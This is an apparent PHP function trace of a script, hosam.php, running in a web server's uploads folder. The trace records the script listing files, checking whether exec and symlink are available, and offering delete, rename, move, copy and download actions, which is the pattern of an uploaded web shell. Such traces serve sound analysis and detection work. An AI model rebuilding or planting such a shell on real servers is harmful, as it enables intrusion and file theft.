5 241 0 0.012287 789048 htmlentities 0 /var/www/html/uploads/hosam.php 1493 3 'create symlink' 2 'ISO-8859-1'
5 241 1 0.012302 789320
5 241 R 'create symlink'
4 240 1 0.012317 789208
4 240 R 'create symlink'
4 242 0 0.012332 789040 word 1 /var/www/html/uploads/hosam.php 1281 1 'delete'
5 243 0 0.012344 789040 htmlentities 0 /var/www/html/uploads/hosam.php 1493 3 'delete' 2 'ISO-8859-1'
5 243 1 0.012362 789312
5 243 R 'delete'
4 242 1 0.012376 789200
4 242 R 'delete'
4 244 0 0.012390 789040 word 1 /var/www/html/uploads/hosam.php 1281 1 'rename'
5 245 0 0.012402 789040 htmlentities 0 /var/www/html/uploads/hosam.php 1493 3 'rename' 2 'ISO-8859-1'
5 245 1 0.012416 789312
5 245 R 'rename'
4 244 1 0.012429 789200
4 244 R 'rename'
4 246 0 0.012443 789032 word 1 /var/www/html/uploads/hosam.php 1281 1 'move'
5 247 0 0.012455 789032 htmlentities 0 /var/www/html/uploads/hosam.php 1493 3 'move' 2 'ISO-8859-1'
5 247 1 0.012469 789304
5 247 R 'move'
4 246 1 0.012482 789192
4 246 R 'move'
3 A /var/www/html/uploads/hosam.php 1165 $i++
4 248 0 0.012505 788984 sizeof 0 /var/www/html/uploads/hosam.php 1165 1 [0 => ['filename' => '.', 'path' => '/var/www/html/uploads/.', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676254317, 'atime' => 1676254317, 'ctime' => 1676254317, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 1 => ['filename' => '..', 'path' => '/var/www/html/uploads/..', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676254317, 'atime' => 1676254317, 'ctime' => 1676254317, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 2 => ['filename' => '.htaccess', 'path' => '/var/www/html/uploads/.htaccess', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 64, 'permission' => 33188, 'owner' => 0, 'group' => 0, 'mtime' => 1676254317, 'atime' => 1676254317, 'ctime' => 1676254317, 'is_executable' => FALSE, 'owner_name' => 'root', 'group_name' => 'root'], 3 => ['filename' => 'data', 'path' => '/var/www/html/uploads/data', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676254317, 'atime' => 1676254317, 'ctime' => 1676254317, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 4 => ['filename' => 'hosam.php', 'path' => '/var/www/html/uploads/hosam.php', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 68561, 'permission' => 33204, 'owner' => 1000, 'group' => 1000, 'mtime' => 1676254317, 'atime' => 1676254317, 'ctime' => 1676254317, 'is_executable' => FALSE, 'owner_name' => 'osboxes', 'group_name' => 'osboxes'], 5 => ['filename' => 'prepend.php', 'path' => '/var/www/html/uploads/prepend.php', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 57, 'permission' => 33261, 'owner' => 0, 'group' => 0, 'mtime' => 1676254317, 'atime' => 1676254317, 'ctime' => 1676254317, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root']]
4 248 1 0.012575 789016
4 248 R 6
3 A /var/www/html/uploads/hosam.php 1166 $file = ['filename' => '..', 'path' => '/var/www/html/uploads/..', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676254317, 'atime' => 1676254317, 'ctime' => 1676254317, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root']
4 249 0 0.012615 788984 date 0 /var/www/html/uploads/hosam.php 1168 2 'n/j/y H:i:s' 1676254317
4 249 1 0.012647 789312
4 249 R '2/12/23 21:11:57'
3 A /var/www/html/uploads/hosam.php 1168 $timestamps = 'mtime: 2/12/23 21:11:57, '
4 250 0 0.012673 788928 date 0 /var/www/html/uploads/hosam.php 1169 2 'n/j/y H:i:s' 1676254317
4 250 1 0.012703 789256
4 250 R '2/12/23 21:11:57'
3 A /var/www/html/uploads/hosam.php 1169 $timestamps .= 'atime: 2/12/23 21:11:57, '
4 251 0 0.012729 788952 date 0 /var/www/html/uploads/hosam.php 1170 2 'n/j/y H:i:s' 1676254317
4 251 1 0.012759 789280
4 251 R '2/12/23 21:11:57'
3 A /var/www/html/uploads/hosam.php 1170 $timestamps .= 'ctime: 2/12/23 21:11:57'
4 252 0 0.012785 789176 html 1 /var/www/html/uploads/hosam.php 1174 1 'mtime: 2/12/23 21:11:57, atime: 2/12/23 21:11:57, ctime: 2/12/23 21:11:57'
5 253 0 0.012799 789176 htmlentities 0 /var/www/html/uploads/hosam.php 1488 3 'mtime: 2/12/23 21:11:57, atime: 2/12/23 21:11:57, ctime: 2/12/23 21:11:57' 2 'ISO-8859-1'
5 253 1 0.012816 789480
5 253 R 'mtime: 2/12/23 21:11:57, atime: 2/12/23 21:11:57, ctime: 2/12/23 21:11:57'
4 252 1 0.012832 789368
4 252 R 'mtime: 2/12/23 21:11:57, atime: 2/12/23 21:11:57, ctime: 2/12/23 21:11:57'
4 254 0 0.012849 789032 urlencode 0 /var/www/html/uploads/hosam.php 1197 1 '/var/www/html/uploads/..'
4 254 1 0.012862 789128
4 254 R '%2Fvar%2Fwww%2Fhtml%2Fuploads%2F..'
4 255 0 0.012878 789080 html 1 /var/www/html/uploads/hosam.php 1197 1 '..'
5 256 0 0.012890 789080 htmlentities 0 /var/www/html/uploads/hosam.php 1488 3 '..' 2 'ISO-8859-1'
5 256 1 0.012904 789352
5 256 R '..'
4 255 1 0.012917 789240
4 255 R '..'
4 257 0 0.012930 788984 human_filesize 1 /var/www/html/uploads/hosam.php 1220 1 4096
4 A /var/www/html/uploads/hosam.php 1056 $suffices = 'kMGTPE'
4 A /var/www/html/uploads/hosam.php 1058 $n = 0
4 A /var/www/html/uploads/hosam.php 1060 $filesize /= 1024
4 A /var/www/html/uploads/hosam.php 1061 $n++
5 258 0 0.012983 788984 strpos 0 /var/www/html/uploads/hosam.php 1064 2 4 '.'
5 258 1 0.012995 789056
5 258 R FALSE
5 259 0 0.013008 788984 round 0 /var/www/html/uploads/hosam.php 1064 2 4 3
5 259 1 0.013020 789056
5 259 R 4
4 A /var/www/html/uploads/hosam.php 1064 $filesize = 4
5 260 0 0.013043 788984 strpos 0 /var/www/html/uploads/hosam.php 1066 2 4 '.'
5 260 1 0.013056 789312
5 260 R FALSE
5 261 0 0.013069 788984 substr 0 /var/www/html/uploads/hosam.php 1072 3 'kMGTPE' 0 1
5 261 1 0.013083 789080
5 261 R 'k'
4 A /var/www/html/uploads/hosam.php 1072 $suffix = 'k'
4 257 1 0.013107 789016
4 257 R '4 kB'
3 A /var/www/html/uploads/hosam.php 1220 $human = ' title="4 kB"'
4 262 0 0.013135 788984 decoct 0 /var/www/html/uploads/hosam.php 1229 1 16895
4 262 1 0.013147 789056
4 262 R '40777'
4 263 0 0.013161 788984 function_exists 0 /var/www/html/uploads/hosam.php 1231 1 'posix_getuid'
4 263 1 0.013174 789024
4 263 R TRUE
4 264 0 0.013187 788984 posix_getuid 0 /var/www/html/uploads/hosam.php 1231 0
4 264 1 0.013199 788984
4 264 R 33
3 A /var/www/html/uploads/hosam.php 1231 $l = FALSE
4 265 0 0.013221 788984 permission_octal2string 1 /var/www/html/uploads/hosam.php 1233 1 16895
4 A /var/www/html/uploads/hosam.php 877 $type = 'd'
4 A /var/www/html/uploads/hosam.php 886 $owner = 'r'
4 A /var/www/html/uploads/hosam.php 887 $owner .= 'w'
4 A /var/www/html/uploads/hosam.php 891 $owner .= 'x'
4 A /var/www/html/uploads/hosam.php 894 $group = 'r'
4 A /var/www/html/uploads/hosam.php 895 $group .= 'w'
4 A /var/www/html/uploads/hosam.php 899 $group .= 'x'
4 A /var/www/html/uploads/hosam.php 902 $other = 'r'
4 A /var/www/html/uploads/hosam.php 903 $other .= 'w'
4 A /var/www/html/uploads/hosam.php 907 $other .= 'x'
4 265 1 0.013331 789024
4 265 R 'drwxrwxrwx'
4 266 0 0.013345 789024 html 1 /var/www/html/uploads/hosam.php 1233 1 'drwxrwxrwx'
5 267 0 0.013357 789024 htmlentities 0 /var/www/html/uploads/hosam.php 1488 3 'drwxrwxrwx' 2 'ISO-8859-1'
5 267 1 0.013372 789296
5 267 R 'drwxrwxrwx'
4 266 1 0.013386 789184
4 266 R 'drwxrwxrwx'
4 268 0 0.013400 788984 array_key_exists 0 /var/www/html/uploads/hosam.php 1238 2 'owner_name' ['filename' => '..', 'path' => '/var/www/html/uploads/..', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676254317, 'atime' => 1676254317, 'ctime' => 1676254317, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root']
4 268 1 0.013429 789048
4 268 R TRUE
4 269 0 0.013443 788984 array_key_exists 0 /var/www/html/uploads/hosam.php 1244 2 'group_name' ['filename' => '..', 'path' => '/var/www/html/uploads/..', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676254317, 'atime' => 1676254317, 'ctime' => 1676254317, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root']
4 269 1 0.013471 789048
4 269 R TRUE
4 270 0 0.013484 789080 html 1 /var/www/html/uploads/hosam.php 1253 1 '/var/www/html/uploads/..'
5 271 0 0.013497 789080 htmlentities 0 /var/www/html/uploads/hosam.php 1488 3 '/var/www/html/uploads/..' 2 'ISO-8859-1'
5 271 1 0.013512 789352
5 271 R '/var/www/html/uploads/..'
4 270 1 0.013526 789240
4 270 R '/var/www/html/uploads/..'
3 A /var/www/html/uploads/hosam.php 1256 $actions = []
4 272 0 0.013552 788608 function_exists 0 /var/www/html/uploads/hosam.php 1257 1 'symlink'
4 272 1 0.013565 788648
4 272 R TRUE
3 A /var/www/html/uploads/hosam.php 1258 $actions[] = 'create_symlink'
4 273 0 0.013589 788984 dirname 0 /var/www/html/uploads/hosam.php 1260 1 '/var/www/html/uploads/..'
4 273 1 0.013602 789072
4 273 R '/var/www/html/uploads'
4 274 0 0.013617 789040 is_writable 0 /var/www/html/uploads/hosam.php 1260 1 '/var/www/html/uploads'
4 274 1 0.013632 789080
4 274 R TRUE
3 A /var/www/html/uploads/hosam.php 1261 $actions[] = 'delete'
3 A /var/www/html/uploads/hosam.php 1262 $actions[] = 'rename'
3 A /var/www/html/uploads/hosam.php 1263 $actions[] = 'move'
4 275 0 0.013676 788984 function_exists 0 /var/www/html/uploads/hosam.php 1270 1 'exec'
4 275 1 0.013689 789024
4 275 R TRUE
4 276 0 0.013702 788984 sizeof 0 /var/www/html/uploads/hosam.php 1274 1 [0 => 'create_symlink', 1 => 'delete', 2 => 'rename', 3 => 'move']
4 276 1 0.013719 789016
4 276 R 4
4 277 0 0.013732 789080 str_repeat 0 /var/www/html/uploads/hosam.php 1277 2 ' ' 30
4 277 1 0.013745 789368
4 277 R ' '
4 278 0 0.013767 789048 word 1 /var/www/html/uploads/hosam.php 1281 1 'create_symlink'
5 279 0 0.013786 789048 htmlentities 0 /var/www/html/uploads/hosam.php 1493 3 'create symlink' 2 'ISO-8859-1'
5 279 1 0.013802 789320
5 279 R 'create symlink'
4 278 1 0.013817 789208
4 278 R 'create symlink'
4 280 0 0.013832 789040 word 1 /var/www/html/uploads/hosam.php 1281 1 'delete'
5 281 0 0.013850 789040 htmlentities 0 /var/www/html/uploads/hosam.php 1493 3 'delete' 2 'ISO-8859-1'
5 281 1 0.013864 789312
5 281 R 'delete'
4 280 1 0.013878 789200
4 280 R 'delete'
4 282 0 0.013892 789040 word 1 /var/www/html/uploads/hosam.php 1281 1 'rename'
5 283 0 0.013904 789040 htmlentities 0 /var/www/html/uploads/hosam.php 1493 3 'rename' 2 'ISO-8859-1'
5 283 1 0.013918 789312
5 283 R 'rename'
4 282 1 0.013932 789200
4 282 R 'rename'
4 284 0 0.013945 789032 word 1 /var/www/html/uploads/hosam.php 1281 1 'move'
5 285 0 0.013958 789032 htmlentities 0 /var/www/html/uploads/hosam.php 1493 3 'move' 2 'ISO-8859-1'
5 285 1 0.013972 789304
5 285 R 'move'
4 284 1 0.013985 789192
4 284 R 'move'
3 A /var/www/html/uploads/hosam.php 1165 $i++
4 286 0 0.014009 788984 sizeof 0 /var/www/html/uploads/hosam.php 1165 1 [0 => ['filename' => '.', 'path' => '/var/www/html/uploads/.', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676254317, 'atime' => 1676254317, 'ctime' => 1676254317, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 1 => ['filename' => '..', 'path' => '/var/www/html/uploads/..', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676254317, 'atime' => 1676254317, 'ctime' => 1676254317, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 2 => ['filename' => '.htaccess', 'path' => '/var/www/html/uploads/.htaccess', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 64, 'permission' => 33188, 'owner' => 0, 'group' => 0, 'mtime' => 1676254317, 'atime' => 1676254317, 'ctime' => 1676254317, 'is_executable' => FALSE, 'owner_name' => 'root', 'group_name' => 'root'], 3 => ['filename' => 'data', 'path' => '/var/www/html/uploads/data', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676254317, 'atime' => 1676254317, 'ctime' => 1676254317, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 4 => ['filename' => 'hosam.php', 'path' => '/var/www/html/uploads/hosam.php', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 68561, 'permission' => 33204, 'owner' => 1000, 'group' => 1000, 'mtime' => 1676254317, 'atime' => 1676254317, 'ctime' => 1676254317, 'is_executable' => FALSE, 'owner_name' => 'osboxes', 'group_name' => 'osboxes'], 5 => ['filename' => 'prepend.php', 'path' => '/var/www/html/uploads/prepend.php', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 57, 'permission' => 33261, 'owner' => 0, 'group' => 0, 'mtime' => 1676254317, 'atime' => 1676254317, 'ctime' => 1676254317, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root']]
4 286 1 0.014079 789016
4 286 R 6
3 A /var/www/html/uploads/hosam.php 1166 $file = ['filename' => '.htaccess', 'path' => '/var/www/html/uploads/.htaccess', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 64, 'permission' => 33188, 'owner' => 0, 'group' => 0, 'mtime' => 1676254317, 'atime' => 1676254317, 'ctime' => 1676254317, 'is_executable' => FALSE, 'owner_name' => 'root', 'group_name' => 'root']
4 287 0 0.014119 788984 date 0 /var/www/html/uploads/hosam.php 1168 2 'n/j/y H:i:s' 1676254317
4 287 1 0.014151 789312
4 287 R '2/12/23 21:11:57'
3 A /var/www/html/uploads/hosam.php 1168 $timestamps = 'mtime: 2/12/23 21:11:57, '
4 288 0 0.014177 788928 date 0 /var/www/html/uploads/hosam.php 1169 2 'n/j/y H:i:s' 1676254317
4 288 1 0.014208 789256
4 288 R '2/12/23 21:11:57'
3 A /var/www/html/uploads/hosam.php 1169 $timestamps .= 'atime: 2/12/23 21:11:57, '
4 289 0 0.014234 788952 date 0 /var/www/html/uploads/hosam.php 1170 2 'n/j/y H:i:s' 1676254317
4 289 1 0.014263 789280
4 289 R '2/12/23 21:11:57'
3 A /var/www/html/uploads/hosam.php 1170 $timestamps .= 'ctime: 2/12/23 21:11:57'
4 290 0 0.014290 789176 html 1 /var/www/html/uploads/hosam.php 1174 1 'mtime: 2/12/23 21:11:57, atime: 2/12/23 21:11:57, ctime: 2/12/23 21:11:57'
5 291 0 0.014304 789176 htmlentities 0 /var/www/html/uploads/hosam.php 1488 3 'mtime: 2/12/23 21:11:57, atime: 2/12/23 21:11:57, ctime: 2/12/23 21:11:57' 2 'ISO-8859-1'
5 291 1 0.014321 789480
5 291 R 'mtime: 2/12/23 21:11:57, atime: 2/12/23 21:11:57, ctime: 2/12/23 21:11:57'
4 290 1 0.014353 789368
4 290 R 'mtime: 2/12/23 21:11:57, atime: 2/12/23 21:11:57, ctime: 2/12/23 21:11:57'
4 292 0 0.014370 788984 substr 0 /var/www/html/uploads/hosam.php 1205 3 '.htaccess' 0 1
4 292 1 0.014384 789080
4 292 R '.'
4 293 0 0.014398 789064 urlencode 0 /var/www/html/uploads/hosam.php 1212 1 '/var/www/html/uploads/.htaccess'
4 293 1 0.014411 789176
4 293 R '%2Fvar%2Fwww%2Fhtml%2Fuploads%2F.htaccess'
4 294 0 0.014428 789096 html 1 /var/www/html/uploads/hosam.php 1212 1 '.htaccess'
5 295 0 0.014440 789096 htmlentities 0 /var/www/html/uploads/hosam.php 1488 3 '.htaccess' 2 'ISO-8859-1'
5 295 1 0.014455 789368
5 295 R '.htaccess'
4 294 1 0.014469 789256
4 294 R '.htaccess'
3 A /var/www/html/uploads/hosam.php 1222 $human = ''
4 296 0 0.014494 788944 decoct 0 /var/www/html/uploads/hosam.php 1229 1 33188
4 296 1 0.014507 789016
4 296 R '100644'
4 297 0 0.014520 788944 function_exists 0 /var/www/html/uploads/hosam.php 1231 1 'posix_getuid'
4 297 1 0.014534 788984
4 297 R TRUE
4 298 0 0.014546 788944 posix_getuid 0 /var/www/html/uploads/hosam.php 1231 0
4 298 1 0.014558 788944
4 298 R 33
3 A /var/www/html/uploads/hosam.php 1231 $l = FALSE
4 299 0 0.014581 788944 permission_octal2string 1 /var/www/html/uploads/hosam.php 1233 1 33188
4 A /var/www/html/uploads/hosam.php 873 $type = '-'
4 A /var/www/html/uploads/hosam.php 886 $owner = 'r'
4 A /var/www/html/uploads/hosam.php 887 $owner .= 'w'
4 A /var/www/html/uploads/hosam.php 891 $owner .= '-'
4 A /var/www/html/uploads/hosam.php 894 $group = 'r'
4 A /var/www/html/uploads/hosam.php 895 $group .= '-'
4 A /var/www/html/uploads/hosam.php 899 $group .= '-'
4 A /var/www/html/uploads/hosam.php 902 $other = 'r'
4 A /var/www/html/uploads/hosam.php 903 $other .= '-'
4 A /var/www/html/uploads/hosam.php 907 $other .= '-'
4 299 1 0.014710 788984
4 299 R '-rw-r--r--'
4 300 0 0.014724 788984 html 1 /var/www/html/uploads/hosam.php 1233 1 '-rw-r--r--'
5 301 0 0.014738 788984 htmlentities 0 /var/www/html/uploads/hosam.php 1488 3 '-rw-r--r--' 2 'ISO-8859-1'
5 301 1 0.014753 789256
5 301 R '-rw-r--r--'
4 300 1 0.014767 789144
4 300 R '-rw-r--r--'
4 302 0 0.014781 788944 array_key_exists 0 /var/www/html/uploads/hosam.php 1238 2 'owner_name' ['filename' => '.htaccess', 'path' => '/var/www/html/uploads/.htaccess', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 64, 'permission' => 33188, 'owner' => 0, 'group' => 0, 'mtime' => 1676254317, 'atime' => 1676254317, 'ctime' => 1676254317, 'is_executable' => FALSE, 'owner_name' => 'root', 'group_name' => 'root']
4 302 1 0.014810 789008
4 302 R TRUE
4 303 0 0.014824 788944 array_key_exists 0 /var/www/html/uploads/hosam.php 1244 2 'group_name' ['filename' => '.htaccess', 'path' => '/var/www/html/uploads/.htaccess', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 64, 'permission' => 33188, 'owner' => 0, 'group' => 0, 'mtime' => 1676254317, 'atime' => 1676254317, 'ctime' => 1676254317, 'is_executable' => FALSE, 'owner_name' => 'root', 'group_name' => 'root']
4 303 1 0.014853 789008
4 303 R TRUE
4 304 0 0.014867 789040 html 1 /var/www/html/uploads/hosam.php 1253 1 '/var/www/html/uploads/.htaccess'
5 305 0 0.014880 789040 htmlentities 0 /var/www/html/uploads/hosam.php 1488 3 '/var/www/html/uploads/.htaccess' 2 'ISO-8859-1'
5 305 1 0.014895 789312
5 305 R '/var/www/html/uploads/.htaccess'
4 304 1 0.014910 789200
4 304 R '/var/www/html/uploads/.htaccess'
3 A /var/www/html/uploads/hosam.php 1256 $actions = []
4 306 0 0.014935 788568 function_exists 0 /var/www/html/uploads/hosam.php 1257 1 'symlink'
4 306 1 0.014949 788608
4 306 R TRUE
3 A /var/www/html/uploads/hosam.php 1258 $actions[] = 'create_symlink'
4 307 0 0.014974 788944 dirname 0 /var/www/html/uploads/hosam.php 1260 1 '/var/www/html/uploads/.htaccess'
4 307 1 0.014987 789032
4 307 R '/var/www/html/uploads'
4 308 0 0.015001 789000 is_writable 0 /var/www/html/uploads/hosam.php 1260 1 '/var/www/html/uploads'
4 308 1 0.015018 789040
4 308 R TRUE
3 A /var/www/html/uploads/hosam.php 1261 $actions[] = 'delete'
3 A /var/www/html/uploads/hosam.php 1262 $actions[] = 'rename'
3 A /var/www/html/uploads/hosam.php 1263 $actions[] = 'move'
3 A /var/www/html/uploads/hosam.php 1266 $actions[] = 'copy'
3 A /var/www/html/uploads/hosam.php 1267 $actions[] = 'download'
4 309 0 0.015082 788944 function_exists 0 /var/www/html/uploads/hosam.php 1270 1 'exec'
4 309 1 0.015095 788984
4 309 R TRUE
4 310 0 0.015108 788944 sizeof 0 /var/www/html/uploads/hosam.php 1274 1 [0 => 'create_symlink', 1 => 'delete', 2 => 'rename', 3 => 'move', 4 => 'copy', 5 => 'download']
4 310 1 0.015126 788976
4 310 R 6
4 311 0 0.015139 789040 str_repeat 0 /var/www/html/uploads/hosam.php 1277 2 ' ' 30
4 311 1 0.015152 789328
4 311 R ' '
4 312 0 0.015168 789008 word 1 /var/www/html/uploads/hosam.php 1281 1 'create_symlink'
5 313 0 0.015182 789008 htmlentities 0 /var/www/html/uploads/hosam.php 1493 3 'create symlink' 2 'ISO-8859-1'
5 313 1 0.015197 789280
5 313 R 'create symlink'
4 312 1 0.015212 789168
4 312 R 'create symlink'
4 314 0 0.015227 789000 word 1 /var/www/html/uploads/hosam.php 1281 1 'delete'
5 315 0 0.015240 789000 htmlentities 0 /var/www/html/uploads/hosam.php 1493 3 'delete' 2 'ISO-8859-1'
5 315 1 0.015254 789272
5 315 R 'delete'
4 314 1 0.015267 789160
4 314 R 'delete'
4 316 0 0.015281 789000 word 1 /var/www/html/uploads/hosam.php 1281 1 'rename'
5 317 0 0.015293 789000 htmlentities 0 /var/www/html/uploads/hosam.php 1493 3 'rename' 2 'ISO-8859-1'
5 317 1 0.015308 789272
5 317 R 'rename'
4 316 1 0.015321 789160
4 316 R 'rename'
4 318 0 0.015335 788992 word 1 /var/www/html/uploads/hosam.php 1281 1 'move'
5 319 0 0.015351 788992 htmlentities 0 /var/www/html/uploads/hosam.php 1493 3 'move' 2 'ISO-8859-1'
5 319 1 0.015366 789264
5 319 R 'move'
4 318 1 0.015379 789152
4 318 R 'move'
4 320 0 0.015393 788992 word 1 /var/www/html/uploads/hosam.php 1281 1 'copy'
5 321 0 0.015405 788992 htmlentities 0 /var/www/html/uploads/hosam.php 1493 3 'copy' 2 'ISO-8859-1'
5 321 1 0.015419 789264
5 321 R 'copy'
4 320 1 0.015432 789152
4 320 R 'copy'
4 322 0 0.015446 789000 word 1 /var/www/html/uploads/hosam.php 1281 1 'download'
5 323 0 0.015458 789000 htmlentities 0 /var/www/html/uploads/hosam.php 1493 3 'download' 2 'ISO-8859-1'
5 323 1 0.015472 789272
5 323 R 'download'
4 322 1 0.015486 789160
4 322 R 'download'
3 A /var/www/html/uploads/hosam.php 1165 $i++
4 324 0 0.015605 788944 sizeof 0 /var/www/html/uploads/hosam.php 1165 1 [0 => ['filename' => '.', 'path' => '/var/www/html/uploads/.', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676254317, 'atime' => 1676254317, 'ctime' => 1676254317, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 1 => ['filename' => '..', 'path' => '/var/www/html/uploads/..', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676254317, 'atime' => 1676254317, 'ctime' => 1676254317, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 2 => ['filename' => '.htaccess', 'path' => '/var/www/html/uploads/.htaccess', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 64, 'permission' => 33188, 'owner' => 0, 'group' => 0, 'mtime' => 1676254317, 'atime' => 1676254317, 'ctime' => 1676254317, 'is_executable' => FALSE, 'owner_name' => 'root', 'group_name' => 'root'], 3 => ['filename' => 'data', 'path' => '/var/www/html/uploads/data', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676254317, 'atime' => 1676254317, 'ctime' => 1676254317, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 4 => ['filename' => 'hosam.php', 'path' => '/var/www/html/uploads/hosam.php', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 68561, 'permission' => 33204, 'owner' => 1000, 'group' => 1000, 'mtime' => 1676254317, 'atime' => 1676254317, 'ctime' => 1676254317, 'is_executable' => FALSE, 'owner_name' => 'osboxes', 'group_name' => 'osboxes'], 5 => ['filename' => 'prepend.php', 'path' => '/var/www/html/uploads/prepend.php', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 57, 'permission' => 33261, 'owner' => 0, 'group' => 0, 'mtime' => 1676254317, 'atime' => 1676254317, 'ctime' => 1676254317, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root']]
4 324 1 0.015675 788976
4 324 R 6
3 A /var/www/html/uploads/hosam.php 1166 $file = ['filename' => 'data', 'path' => '/var/www/html/uploads/data', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676254317, 'atime' => 1676254317, 'ctime' => 1676254317, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root']
4 325 0 0.015716 788944 date 0 /var/www/html/uploads/hosam.php 1168 2 'n/j/y H:i:s' 1676254317
4 325 1 0.015748 789272
4 325 R '2/12/23 21:11:57'
3 A /var/www/html/uploads/hosam.php 1168 $timestamps = 'mtime: 2/12/23 21:11:57, '
4 326 0 0.015774 788888 date 0 /var/www/html/uploads/hosam.php 1169 2 'n/j/y H:i:s' 1676254317
4 326 1 0.015805 789216
4 326 R '2/12/23 21:11:57'
3 A /var/www/html/uploads/hosam.php 1169 $timestamps .= 'atime: 2/12/23 21:11:57, '
4 327 0 0.015832 788912 date 0 /var/www/html/uploads/hosam.php 1170 2 'n/j/y H:i:s' 1676254317
4 327 1 0.015862 789240
4 327 R '2/12/23 21:11:57'
3 A /var/www/html/uploads/hosam.php 1170 $timestamps .= 'ctime: 2/12/23 21:11:57'
4 328 0 0.015888 789136 html 1 /var/www/html/uploads/hosam.php 1174 1 'mtime: 2/12/23 21:11:57, atime: 2/12/23 21:11:57, ctime: 2/12/23 21:11:57'
5 329 0 0.015903 789136 htmlentities 0 /var/www/html/uploads/hosam.php 1488 3 'mtime: 2/12/23 21:11:57, atime: 2/12/23 21:11:57, ctime: 2/12/23 21:11:57' 2 'ISO-8859-1'
5 329 1 0.015920 789440
5 329 R 'mtime: 2/12/23 21:11:57, atime: 2/12/23 21:11:57, ctime: 2/12/23 21:11:57'
4 328 1 0.015936 789328
